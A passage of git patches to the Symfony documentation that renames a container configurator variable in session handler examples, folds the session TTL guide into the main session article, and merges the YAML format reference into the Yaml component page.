                     <!-- you can also use PDO configuration, but requires passing two arguments: -->
@@ -697,8 +697,8 @@ To use it, first register a new handler service with your database credentials:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfiguratorConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(PdoSessionHandler::class)
                 ->args([
@@ -795,7 +795,7 @@ passed to the ``PdoSessionHandler`` service:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler" public="false">
+                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler">
                     <argument>%env(DATABASE_URL)%</argument>
                     <argument type="collection">
                         <argument key="db_table">customer_session</argument>
@@ -812,8 +812,8 @@ passed to the ``PdoSessionHandler`` service:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfiguratorConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(PdoSessionHandler::class)
                 ->args([
@@ -972,7 +972,7 @@ the MongoDB connection as argument:
                 https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <services>
-                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler" public="false">
+                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler">
                     <argument type="service">doctrine_mongodb.odm.default_connection</argument>
                 </service>
             </services>
@@ -985,8 +985,8 @@ the MongoDB connection as argument:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfiguratorConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(MongoDbSessionHandler::class)
                 ->args([
@@ -1087,7 +1087,7 @@ configure these values with the second argument passed to the
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler" public="false">
+                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler">
                     <argument type="service">doctrine_mongodb.odm.default_connection</argument>
                     <argument type="collection">
                         <argument key="id_field">_guid</argument>
@@ -1104,8 +1104,8 @@ configure these values with the second argument passed to the
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(MongoDbSessionHandler::class)
                 ->args([

From 9eb7378456cee69fc39a67b49eba0a2b2d588930 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 7 Jan 2023 12:58:30 +0100
Subject: [PATCH 4053/7107] Move subguides into main session article

---
 _build/redirection_map      |   1 +
 session.rst                 | 120 +++++++++++++++++++++++++++++++++++
 session/configuring_ttl.rst | 121 ------------------------------------
 3 files changed, 121 insertions(+), 121 deletions(-)
 delete mode 100644 session/configuring_ttl.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 83ff253c51b..9a9826d91f4 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -407,6 +407,7 @@
 /security/entity_provider /security/user_provider
 /session/avoid_session_start /session
 /session/sessions_directory /session
+/session/configuring_ttl /session#session-configure-ttl
 /frontend/encore/legacy-apps /frontend/encore/legacy-applications
 /configuration/external_parameters /configuration/environment_variables
 /contributing/code/patches /contributing/code/pull_requests
diff --git a/session.rst b/session.rst
index ba969dc9187..0779199fdfb 100644
--- a/session.rst
+++ b/session.rst
@@ -1150,6 +1150,126 @@ This is the recommended migration workflow:
 #. After verifying that the sessions in your application are working, switch
    from the migrating handler to the new handler.
 
+.. _session-configure-ttl:
+
+.. index::
+    single: Sessions, defining TTL
+
+Configuring the Session TTL
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Symfony by default will use PHP's ini setting ``session.gc_maxlifetime`` as
+session lifetime. When you store sessions in a database, you can also
+configure your own TTL in the framework configuration or even at runtime.
+
+.. note::
+
+    Changing the ini setting is not possible once the session is started so
+    if you want to use a different TTL depending on which user is logged
+    in, you must do it at runtime using the callback method below.
+
+Configure the TTL
+.................
+
+You need to pass the TTL in the options array of the session handler you are using:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+            Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler:
+                arguments:
+                    - '@Redis'
+                    - { 'ttl': 600 }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <services>
+            <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler">
+                <argument type="service" id="Redis"/>
+                <argument type="collection">
+                    <argument key="ttl">600</argument>
+                </argument>
+            </service>
+        </services>
+
+    .. code-block:: php
+
+        // config/services.php
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
+
+        $services
+            ->set(RedisSessionHandler::class)
+            ->args([
+                service('Redis'),
+                ['ttl' => 600],
+            ]);
+
+Configure the TTL Dynamically at Runtime
+........................................
+
+If you would like to have a different TTL for different users or sessions
+for whatever reason, this is also possible by passing a callback as the TTL
+value. The callback will be called right before the session is written and
+has to return an integer which will be used as TTL.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+            Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler:
+                arguments:
+                    - '@Redis'
+                    - { 'ttl': !closure '@my.ttl.handler' }
+
+            my.ttl.handler:
+                class: Some\InvokableClass # some class with an __invoke() method
+                arguments:
+                    # Inject whatever dependencies you need to be able to resolve a TTL for the current session
+                    - '@security'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <services>
+            <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler">
+                <argument type="service" id="Redis"/>
+                <argument type="collection">
+                    <argument key="ttl" type="closure" id="my.ttl.handler"/>
+                </argument>
+            </service>
+            <!-- some class with an __invoke() method -->
+            <service id="my.ttl.handler" class="Some\InvokableClass">
+                <!-- Inject whatever dependencies you need to be able to resolve a TTL for the current session -->
+                <argument type="service" id="security"/>
+            </service>
+        </services>
+
+    .. code-block:: php
+
+        // config/services.php
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
+
+        $services
+            ->set(RedisSessionHandler::class)
+            ->args([
+                service('Redis'),
+                ['ttl' => closure(service('my.ttl.handler'))],
+            ]);
+
+        $services
+            // some class with an __invoke() method
+            ->set('my.ttl.handler', 'Some\InvokableClass')
+            // Inject whatever dependencies you need to be able to resolve a TTL for the current session
+            ->args([service('security')]);
+
 .. index::
     single: Sessions, saving locale
 
diff --git a/session/configuring_ttl.rst b/session/configuring_ttl.rst
deleted file mode 100644
index cf059efc7bb..00000000000
--- a/session/configuring_ttl.rst
+++ /dev/null
@@ -1,121 +0,0 @@
-.. index::
-    single: Sessions, defining TTL
-
-Configuring the Session TTL
-===========================
-
-Symfony by default will use PHP's ini setting ``session.gc_maxlifetime`` as
-session lifetime. However if you :doc:`store sessions in a database </session/database>`
-you can also configure your own TTL in the framework configuration or even at runtime.
-
-Changing the ini setting is not possible once the session is started so if you
-want to use a different TTL depending on which user is logged in, you really need
-to do it at runtime using the callback method below.
-
-.. _configuring-the-TTL:
-
-Configuring the TTL
--------------------
-
-You need to pass the TTL in the options array of the session handler you are using:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-            Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler:
-                arguments:
-                    - '@Redis'
-                    - { 'ttl': 600 }
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <services>
-            <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler">
-                <argument type="service" id="Redis"/>
-                <argument type="collection">
-                    <argument key="ttl">600</argument>
-                </argument>
-            </service>
-        </services>
-
-    .. code-block:: php
-
-        // config/services.php
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
-
-        $services
-            ->set(RedisSessionHandler::class)
-            ->args([
-                service('Redis'),
-                ['ttl' => 600],
-            ]);
-
-.. _configuring-the-TTL-dynamically-at-runtime:
-
-Configuring the TTL dynamically at runtime
-------------------------------------------
-
-If you would like to have a different TTL for different
-users or sessions for whatever reason, this is also possible
-by passing a callback as the TTL value. The callback then has
-to return an integer which will be used as TTL.
-
-The callback will be called right before the session is written.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-            Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler:
-                arguments:
-                    - '@Redis'
-                    - { 'ttl': !closure '@my.ttl.handler' }
-             
-            my.ttl.handler:
-                class: Some\InvokableClass # some class with an __invoke() method
-                arguments:
-                    # Inject whatever dependencies you need to be able to resolve a TTL for the current session
-                    - '@security'
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <services>
-            <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler">
-                <argument type="service" id="Redis"/>
-                <argument type="collection">
-                    <argument key="ttl" type="closure" id="my.ttl.handler"/>
-                </argument>
-            </service>
-            <!-- some class with an __invoke() method -->
-            <service id="my.ttl.handler" class="Some\InvokableClass">
-                <!-- Inject whatever dependencies you need to be able to resolve a TTL for the current session -->
-                <argument type="service" id="security"/>
-            </service>
-        </services>
-
-    .. code-block:: php
-
-        // config/services.php
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
-
-        $services
-            ->set(RedisSessionHandler::class)
-            ->args([
-                service('Redis'),
-                ['ttl' => closure(service('my.ttl.handler'))],
-            ]);
-
-        $services
-            // some class with an __invoke() method
-            ->set('my.ttl.handler', 'Some\InvokableClass')
-            // Inject whatever dependencies you need to be able to resolve a TTL for the current session
-            ->args([service('security')]);

From 981889e01f0d91c5e55b5f4ecf17b478bdf9acfe Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 7 Jan 2023 16:25:54 +0100
Subject: [PATCH 4054/7107] Standardize the name of the container configurator
 variable 6.0

---
 session.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/session.rst b/session.rst
index ba969dc9187..b888e5eee01 100644
--- a/session.rst
+++ b/session.rst
@@ -697,7 +697,7 @@ To use it, first register a new handler service with your database credentials:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
 
-        return static function (ContainerConfigurator $containerConfiguratorConfigurator) {
+        return static function (ContainerConfigurator $containerConfigurator) {
             $services = $containerConfigurator->services();
 
             $services->set(PdoSessionHandler::class)
@@ -807,7 +807,7 @@ passed to the ``PdoSessionHandler`` service:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
 
-        return static function (ContainerConfigurator $containerConfiguratorConfigurator) {
+        return static function (ContainerConfigurator $containerConfigurator) {
             $services = $containerConfigurator->services();
 
             $services->set(PdoSessionHandler::class)
@@ -980,7 +980,7 @@ the MongoDB connection as argument:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
 
-        return static function (ContainerConfigurator $containerConfiguratorConfigurator) {
+        return static function (ContainerConfigurator $containerConfigurator) {
             $services = $containerConfigurator->services();
 
             $services->set(MongoDbSessionHandler::class)

From 956de74e3e9c25e693a9d3129028c88809d2cea9 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sat, 7 Jan 2023 15:35:09 +0100
Subject: [PATCH 4055/7107] Merge YAML docs into one

---
 components/yaml.rst             | 343 ++++++++++++++++++++++++++++++-
 components/yaml/yaml_format.rst | 344 --------------------------------
 configuration.rst               |   2 +-
 3 files changed, 336 insertions(+), 353 deletions(-)
 delete mode 100644 components/yaml/yaml_format.rst

diff --git a/components/yaml.rst b/components/yaml.rst
index c2e38f5c2d5..e5cdc2d1ebc 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -23,8 +23,7 @@ the `YAML 1.2 version specification`_.
 
 .. tip::
 
-    Learn more about the Yaml component in the
-    :doc:`/components/yaml/yaml_format` article.
+    Learn more about :ref:`YAML specifications <yaml-format>`.
 
 Installation
 ------------
@@ -452,14 +451,342 @@ Add the ``--format`` option to get the output in JSON format:
     YAML files. This may for example be useful for recognizing deprecations of
     contents of YAML files during automated tests.
 
-Learn More
-----------
+.. _yaml-format:
 
-.. toctree::
-    :maxdepth: 1
-    :glob:
+.. index::
+    single: Yaml; YAML Format
+
+The YAML Format
+---------------
+
+Scalars
+~~~~~~~
+
+The syntax for scalars is similar to the PHP syntax.
+
+Strings
+.......
+
+Strings in YAML can be wrapped both in single and double quotes. In some cases,
+they can also be unquoted:
+
+.. code-block:: yaml
+
+    A string in YAML
+
+    'A single-quoted string in YAML'
+
+    "A double-quoted string in YAML"
+
+Quoted styles are useful when a string starts or end with one or more relevant
+spaces, because unquoted strings are trimmed on both end when parsing their
+contents. Quotes are required when the string contains special or reserved characters.
+
+When using single-quoted strings, any single quote ``'`` inside its contents
+must be doubled to escape it:
+
+.. code-block:: yaml
+
+    'A single quote '' inside a single-quoted string'
+
+Strings containing any of the following characters must be quoted. Although you
+can use double quotes, for these characters it is more convenient to use single
+quotes, which avoids having to escape any backslash ``\``:
+
+* ``:``, ``{``, ``}``, ``[``, ``]``, ``,``, ``&``, ``*``, ``#``, ``?``, ``|``,
+  ``-``, ``<``, ``>``, ``=``, ``!``, ``%``, ``@``, `````
+
+The double-quoted style provides a way to express arbitrary strings, by
+using ``\`` to escape characters and sequences. For instance, it is very useful
+when you need to embed a ``\n`` or a Unicode character in a string.
+
+.. code-block:: yaml
+
+    "A double-quoted string in YAML\n"
+
+If the string contains any of the following control characters, it must be
+escaped with double quotes:
+
+* ``\0``, ``\x01``, ``\x02``, ``\x03``, ``\x04``, ``\x05``, ``\x06``, ``\a``,
+  ``\b``, ``\t``, ``\n``, ``\v``, ``\f``, ``\r``, ``\x0e``, ``\x0f``, ``\x10``,
+  ``\x11``, ``\x12``, ``\x13``, ``\x14``, ``\x15``, ``\x16``, ``\x17``, ``\x18``,
+  ``\x19``, ``\x1a``, ``\e``, ``\x1c``, ``\x1d``, ``\x1e``, ``\x1f``, ``\N``,
+  ``\_``, ``\L``, ``\P``
+
+Finally, there are other cases when the strings must be quoted, no matter if
+you're using single or double quotes:
+
+* When the string is ``true`` or ``false`` (otherwise, it would be treated as a
+  boolean value);
+* When the string is ``null`` or ``~`` (otherwise, it would be considered as a
+  ``null`` value);
+* When the string looks like a number, such as integers (e.g. ``2``, ``14``, etc.),
+  floats (e.g. ``2.6``, ``14.9``) and exponential numbers (e.g. ``12e7``, etc.)
+  (otherwise, it would be treated as a numeric value);
+* When the string looks like a date (e.g. ``2014-12-31``) (otherwise it would be
+  automatically converted into a Unix timestamp).
+
+When a string contains line breaks, you can use the literal style, indicated
+by the pipe (``|``), to indicate that the string will span several lines. In
+literals, newlines are preserved:
+
+.. code-block:: yaml
+
+    |
+      \/ /| |\/| |
+      / / | |  | |__
+
+Alternatively, strings can be written with the folded style, denoted by ``>``,
+where each line break is replaced by a space:
+
+.. code-block:: yaml
+
+    >
+      This is a very long sentence
+      that spans several lines in the YAML.
+
+    # This will be parsed as follows: (notice the trailing \n)
+    # "This is a very long sentence that spans several lines in the YAML.\n"
+
+    >-
+      This is a very long sentence
+      that spans several lines in the YAML.
+
+    # This will be parsed as follows: (without a trailing \n)
+    # "This is a very long sentence that spans several lines in the YAML."
+
+.. note::
+
+    Notice the two spaces before each line in the previous examples. They
+    won't appear in the resulting PHP strings.
+
+Numbers
+.......
+
+.. code-block:: yaml
+
+    # an integer
+    12
+
+.. code-block:: yaml
+
+    # an octal
+    0o14
+
+.. deprecated:: 5.1
+
+    In YAML 1.1, octal numbers use the notation ``0...``, whereas in YAML 1.2
+    the notation changes to ``0o...``. Symfony 5.1 added support for YAML 1.2
+    notation and deprecated support for YAML 1.1 notation.
+
+.. code-block:: yaml
+
+    # an hexadecimal
+    0xC
+
+.. code-block:: yaml
+
+    # a float
+    13.4
+
+.. code-block:: yaml
+
+    # an exponential number
+    1.2e+34
+
+.. code-block:: yaml
+
+    # infinity
+    .inf
+
+Nulls
+.....
+
+Nulls in YAML can be expressed with ``null`` or ``~``.
+
+Booleans
+........
+
+Booleans in YAML are expressed with ``true`` and ``false``.
+
+Dates
+.....
+
+YAML uses the `ISO-8601`_ standard to express dates:
+
+.. code-block:: yaml
+
+    2001-12-14T21:59:43.10-05:00
+
+.. code-block:: yaml
+
+    # simple date
+    2002-12-14
+
+.. _yaml-format-collections:
+
+Collections
+~~~~~~~~~~~
+
+A YAML file is rarely used to describe a simple scalar. Most of the time, it
+describes a collection. YAML collections can be a sequence (indexed arrays in PHP)
+or a mapping of elements (associative arrays in PHP).
+
+Sequences use a dash followed by a space:
+
+.. code-block:: yaml
+
+    - PHP
+    - Perl
+    - Python
+
+The previous YAML file is equivalent to the following PHP code::
+
+    ['PHP', 'Perl', 'Python'];
+
+Mappings use a colon followed by a space (``:`` ) to mark each key/value pair:
+
+.. code-block:: yaml
+
+    PHP: 5.2
+    MySQL: 5.1
+    Apache: 2.2.20
+
+which is equivalent to this PHP code::
+
+    ['PHP' => 5.2, 'MySQL' => 5.1, 'Apache' => '2.2.20'];
+
+.. note::
+
+    In a mapping, a key can be any valid scalar.
+
+The number of spaces between the colon and the value does not matter:
+
+.. code-block:: yaml
+
+    PHP:    5.2
+    MySQL:  5.1
+    Apache: 2.2.20
+
+YAML uses indentation with one or more spaces to describe nested collections:
+
+.. code-block:: yaml
+
+    'symfony 1.0':
+      PHP:    5.0
+      Propel: 1.2
+    'symfony 1.2':
+      PHP:    5.2
+      Propel: 1.3
+
+The above YAML is equivalent to the following PHP code::
+
+    [
+        'symfony 1.0' => [
+            'PHP'    => 5.0,
+            'Propel' => 1.2,
+        ],
+        'symfony 1.2' => [
+            'PHP'    => 5.2,
+            'Propel' => 1.3,
+        ],
+    ];
+
+There is one important thing you need to remember when using indentation in a
+YAML file: *Indentation must be done with one or more spaces, but never with
+tabulators*.
+
+You can nest sequences and mappings as you like:
+
+.. code-block:: yaml
+
+    'Chapter 1':
+      - Introduction
+      - Event Types
+    'Chapter 2':
+      - Introduction
+      - Helpers
+
+YAML can also use flow styles for collections, using explicit indicators
+rather than indentation to denote scope.
+
+A sequence can be written as a comma separated list within square brackets
+(``[]``):
+
+.. code-block:: yaml
+
+    [PHP, Perl, Python]
+
+A mapping can be written as a comma separated list of key/values within curly
+braces (``{}``):
+
+.. code-block:: yaml
+
+    { PHP: 5.2, MySQL: 5.1, Apache: 2.2.20 }
+
+You can mix and match styles to achieve a better readability:
+
+.. code-block:: yaml
+
+    'Chapter 1': [Introduction, Event Types]
+    'Chapter 2': [Introduction, Helpers]
+
+.. code-block:: yaml
+
+    'symfony 1.0': { PHP: 5.0, Propel: 1.2 }
+    'symfony 1.2': { PHP: 5.2, Propel: 1.3 }
+
+Comments
+~~~~~~~~
+
+Comments can be added in YAML by prefixing them with a hash mark (``#``):
+
+.. code-block:: yaml
+
+    # Comment on a line
+    "symfony 1.0": { PHP: 5.0, Propel: 1.2 } # Comment at the end of a line
+    "symfony 1.2": { PHP: 5.2, Propel: 1.3 }
+
+.. note::
+
+    Comments are ignored by the YAML parser and do not need to be indented
+    according to the current level of nesting in a collection.
+
+Explicit Typing
+~~~~~~~~~~~~~~~
+
+The YAML specification defines some tags to set the type of any data explicitly:
+
+.. code-block:: yaml
 
-    yaml/*
+    data:
+        # this value is parsed as a string (it's not transformed into a DateTime)
+        start_date: !!str 2002-12-14
+
+        # this value is parsed as a float number (it will be 3.0 instead of 3)
+        price: !!float 3
+
+        # this value is parsed as binary data encoded in base64
+        picture: !!binary |
+            R0lGODlhDAAMAIQAAP//9/X
+            17unp5WZmZgAAAOfn515eXv
+            Pz7Y6OjuDg4J+fn5OTk6enp
+            56enmleECcgggoBADs=
+
+Unsupported YAML Features
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The following YAML features are not supported by the Symfony Yaml component:
+
+* Multi-documents (``---`` and ``...`` markers);
+* Complex mapping keys and complex values starting with ``?``;
+* Tagged values as keys;
+* The following tags and types: ``!!set``, ``!!omap``, ``!!pairs``, ``!!seq``,
+  ``!!bool``, ``!!int``, ``!!merge``, ``!!null``, ``!!timestamp``, ``!!value``, ``!!yaml``;
+* Tags (``TAG`` directive; example: ``%TAG ! tag:example.com,2000:app/``)
+  and tag references (example: ``!<tag:example.com,2000:app/foo>``);
+* Using sequence-like syntax for mapping elements (example: ``{foo, bar}``; use
+  ``{foo: ~, bar: ~}`` instead).
 
 .. _`YAML`: https://yaml.org/
 .. _`YAML 1.2 version specification`: https://yaml.org/spec/1.2/spec.html
diff --git a/components/yaml/yaml_format.rst b/components/yaml/yaml_format.rst
deleted file mode 100644
index 94f5c96574e..00000000000
--- a/components/yaml/yaml_format.rst
+++ /dev/null
@@ -1,344 +0,0 @@
-.. index::
-    single: Yaml; YAML Format
-
-The YAML Format
-===============
-
-According to the official `YAML website`_, YAML is "a human friendly data
-serialization standard for all programming languages". The Symfony Yaml
-component implements a subset of the `YAML specification`_. Specifically, it
-implements the minimum set of features needed to use YAML as a configuration
-file format.
-
-Scalars
--------
-
-The syntax for scalars is similar to the PHP syntax.
-
-Strings
-~~~~~~~
-
-Strings in YAML can be wrapped both in single and double quotes. In some cases,
-they can also be unquoted:
-
-.. code-block:: yaml
-
-    A string in YAML
-
-    'A single-quoted string in YAML'
-
-    "A double-quoted string in YAML"
-
-Quoted styles are useful when a string starts or end with one or more relevant
-spaces, because unquoted strings are trimmed on both end when parsing their
-contents. Quotes are required when the string contains special or reserved characters.
-
-When using single-quoted strings, any single quote ``'`` inside its contents
-must be doubled to escape it:
-
-.. code-block:: yaml
-
-    'A single quote '' inside a single-quoted string'
-
-Strings containing any of the following characters must be quoted. Although you
-can use double quotes, for these characters it is more convenient to use single
-quotes, which avoids having to escape any backslash ``\``:
-
-* ``:``, ``{``, ``}``, ``[``, ``]``, ``,``, ``&``, ``*``, ``#``, ``?``, ``|``,
-  ``-``, ``<``, ``>``, ``=``, ``!``, ``%``, ``@``, `````
-
-The double-quoted style provides a way to express arbitrary strings, by
-using ``\`` to escape characters and sequences. For instance, it is very useful
-when you need to embed a ``\n`` or a Unicode character in a string.
-
-.. code-block:: yaml
-
-    "A double-quoted string in YAML\n"
-
-If the string contains any of the following control characters, it must be
-escaped with double quotes:
-
-* ``\0``, ``\x01``, ``\x02``, ``\x03``, ``\x04``, ``\x05``, ``\x06``, ``\a``,
-  ``\b``, ``\t``, ``\n``, ``\v``, ``\f``, ``\r``, ``\x0e``, ``\x0f``, ``\x10``,
-  ``\x11``, ``\x12``, ``\x13``, ``\x14``, ``\x15``, ``\x16``, ``\x17``, ``\x18``,
-  ``\x19``, ``\x1a``, ``\e``, ``\x1c``, ``\x1d``, ``\x1e``, ``\x1f``, ``\N``,
-  ``\_``, ``\L``, ``\P``
-
-Finally, there are other cases when the strings must be quoted, no matter if
-you're using single or double quotes:
-
-* When the string is ``true`` or ``false`` (otherwise, it would be treated as a
-  boolean value);
-* When the string is ``null`` or ``~`` (otherwise, it would be considered as a
-  ``null`` value);
-* When the string looks like a number, such as integers (e.g. ``2``, ``14``, etc.),
-  floats (e.g. ``2.6``, ``14.9``) and exponential numbers (e.g. ``12e7``, etc.)
-  (otherwise, it would be treated as a numeric value);
-* When the string looks like a date (e.g. ``2014-12-31``) (otherwise it would be
-  automatically converted into a Unix timestamp).
-
-When a string contains line breaks, you can use the literal style, indicated
-by the pipe (``|``), to indicate that the string will span several lines. In
-literals, newlines are preserved:
-
-.. code-block:: yaml
-
-    |
-      \/ /| |\/| |
-      / / | |  | |__
-
-Alternatively, strings can be written with the folded style, denoted by ``>``,
-where each line break is replaced by a space:
-
-.. code-block:: yaml
-
-    >
-      This is a very long sentence
-      that spans several lines in the YAML.
-
-    # This will be parsed as follows: (notice the trailing \n)
-    # "This is a very long sentence that spans several lines in the YAML.\n"
-
-    >-
-      This is a very long sentence
-      that spans several lines in the YAML.
-
-    # This will be parsed as follows: (without a trailing \n)
-    # "This is a very long sentence that spans several lines in the YAML."
-
-.. note::
-
-    Notice the two spaces before each line in the previous examples. They
-    won't appear in the resulting PHP strings.
-
-Numbers
-~~~~~~~
-
-.. code-block:: yaml
-
-    # an integer
-    12
-
-.. code-block:: yaml
-
-    # an octal
-    0o14
-
-.. deprecated:: 5.1
-
-    In YAML 1.1, octal numbers use the notation ``0...``, whereas in YAML 1.2
-    the notation changes to ``0o...``. Symfony 5.1 added support for YAML 1.2
-    notation and deprecated support for YAML 1.1 notation.
-
-.. code-block:: yaml
-
-    # an hexadecimal
-    0xC
-
-.. code-block:: yaml
-
-    # a float
-    13.4
-
-.. code-block:: yaml
-
-    # an exponential number
-    1.2e+34
-
-.. code-block:: yaml
-
-    # infinity
-    .inf
-
-Nulls
-~~~~~
-
-Nulls in YAML can be expressed with ``null`` or ``~``.
-
-Booleans
-~~~~~~~~
-
-Booleans in YAML are expressed with ``true`` and ``false``.
-
-Dates
-~~~~~
-
-YAML uses the `ISO-8601`_ standard to express dates:
-
-.. code-block:: yaml
-
-    2001-12-14T21:59:43.10-05:00
-
-.. code-block:: yaml
-
-    # simple date
-    2002-12-14
-
-.. _yaml-format-collections:
-
-Collections
------------
-
-A YAML file is rarely used to describe a simple scalar. Most of the time, it
-describes a collection. YAML collections can be a sequence (indexed arrays in PHP)
-or a mapping of elements (associative arrays in PHP).
-
-Sequences use a dash followed by a space:
-
-.. code-block:: yaml
-
-    - PHP
-    - Perl
-    - Python
-
-The previous YAML file is equivalent to the following PHP code::
-
-    ['PHP', 'Perl', 'Python'];
-
-Mappings use a colon followed by a space (``:`` ) to mark each key/value pair:
-
-.. code-block:: yaml
-
-    PHP: 5.2
-    MySQL: 5.1
-    Apache: 2.2.20
-
-which is equivalent to this PHP code::
-
-    ['PHP' => 5.2, 'MySQL' => 5.1, 'Apache' => '2.2.20'];
-
-.. note::
-
-    In a mapping, a key can be any valid scalar.
-
-The number of spaces between the colon and the value does not matter:
-
-.. code-block:: yaml
-
-    PHP:    5.2
-    MySQL:  5.1
-    Apache: 2.2.20
-
-YAML uses indentation with one or more spaces to describe nested collections:
-
-.. code-block:: yaml
-
-    'symfony 1.0':
-      PHP:    5.0
-      Propel: 1.2
-    'symfony 1.2':
-      PHP:    5.2
-      Propel: 1.3
-
-The above YAML is equivalent to the following PHP code::
-
-    [
-        'symfony 1.0' => [
-            'PHP'    => 5.0,
-            'Propel' => 1.2,
-        ],
-        'symfony 1.2' => [
-            'PHP'    => 5.2,
-            'Propel' => 1.3,
-        ],
-    ];
-
-There is one important thing you need to remember when using indentation in a
-YAML file: *Indentation must be done with one or more spaces, but never with
-tabulators*.
-
-You can nest sequences and mappings as you like:
-
-.. code-block:: yaml
-
-    'Chapter 1':
-      - Introduction
-      - Event Types
-    'Chapter 2':
-      - Introduction
-      - Helpers
-
-YAML can also use flow styles for collections, using explicit indicators
-rather than indentation to denote scope.
-
-A sequence can be written as a comma separated list within square brackets
-(``[]``):
-
-.. code-block:: yaml
-
-    [PHP, Perl, Python]
-
-A mapping can be written as a comma separated list of key/values within curly
-braces (``{}``):
-
-.. code-block:: yaml
-
-    { PHP: 5.2, MySQL: 5.1, Apache: 2.2.20 }
-
-You can mix and match styles to achieve a better readability:
-
-.. code-block:: yaml
-
-    'Chapter 1': [Introduction, Event Types]
-    'Chapter 2': [Introduction, Helpers]
-
-.. code-block:: yaml
-
-    'symfony 1.0': { PHP: 5.0, Propel: 1.2 }
-    'symfony 1.2': { PHP: 5.2, Propel: 1.3 }
-
-Comments
---------
-
-Comments can be added in YAML by prefixing them with a hash mark (``#``):
-
-.. code-block:: yaml
-
-    # Comment on a line
-    "symfony 1.0": { PHP: 5.0, Propel: 1.2 } # Comment at the end of a line
-    "symfony 1.2": { PHP: 5.2, Propel: 1.3 }
-
-.. note::
-
-    Comments are ignored by the YAML parser and do not need to be indented
-    according to the current level of nesting in a collection.
-
-Explicit Typing
----------------
-
-The YAML specification defines some tags to set the type of any data explicitly:
-
-.. code-block:: yaml
-
-    data:
-        # this value is parsed as a string (it's not transformed into a DateTime)
-        start_date: !!str 2002-12-14
-
-        # this value is parsed as a float number (it will be 3.0 instead of 3)
-        price: !!float 3
-
-        # this value is parsed as binary data encoded in base64
-        picture: !!binary |
-            R0lGODlhDAAMAIQAAP//9/X
-            17unp5WZmZgAAAOfn515eXv
-            Pz7Y6OjuDg4J+fn5OTk6enp
-            56enmleECcgggoBADs=
-
-Unsupported YAML Features
--------------------------
-
-The following YAML features are not supported by the Symfony Yaml component:
-
-* Multi-documents (``---`` and ``...`` markers);
-* Complex mapping keys and complex values starting with ``?``;
-* Tagged values as keys;
-* The following tags and types: ``!!set``, ``!!omap``, ``!!pairs``, ``!!seq``,
-  ``!!bool``, ``!!int``, ``!!merge``, ``!!null``, ``!!timestamp``, ``!!value``, ``!!yaml``;
-* Tags (``TAG`` directive; example: ``%TAG ! tag:example.com,2000:app/``)
-  and tag references (example: ``!<tag:example.com,2000:app/foo>``);
-* Using sequence-like syntax for mapping elements (example: ``{foo, bar}``; use
-  ``{foo: ~, bar: ~}`` instead).
-
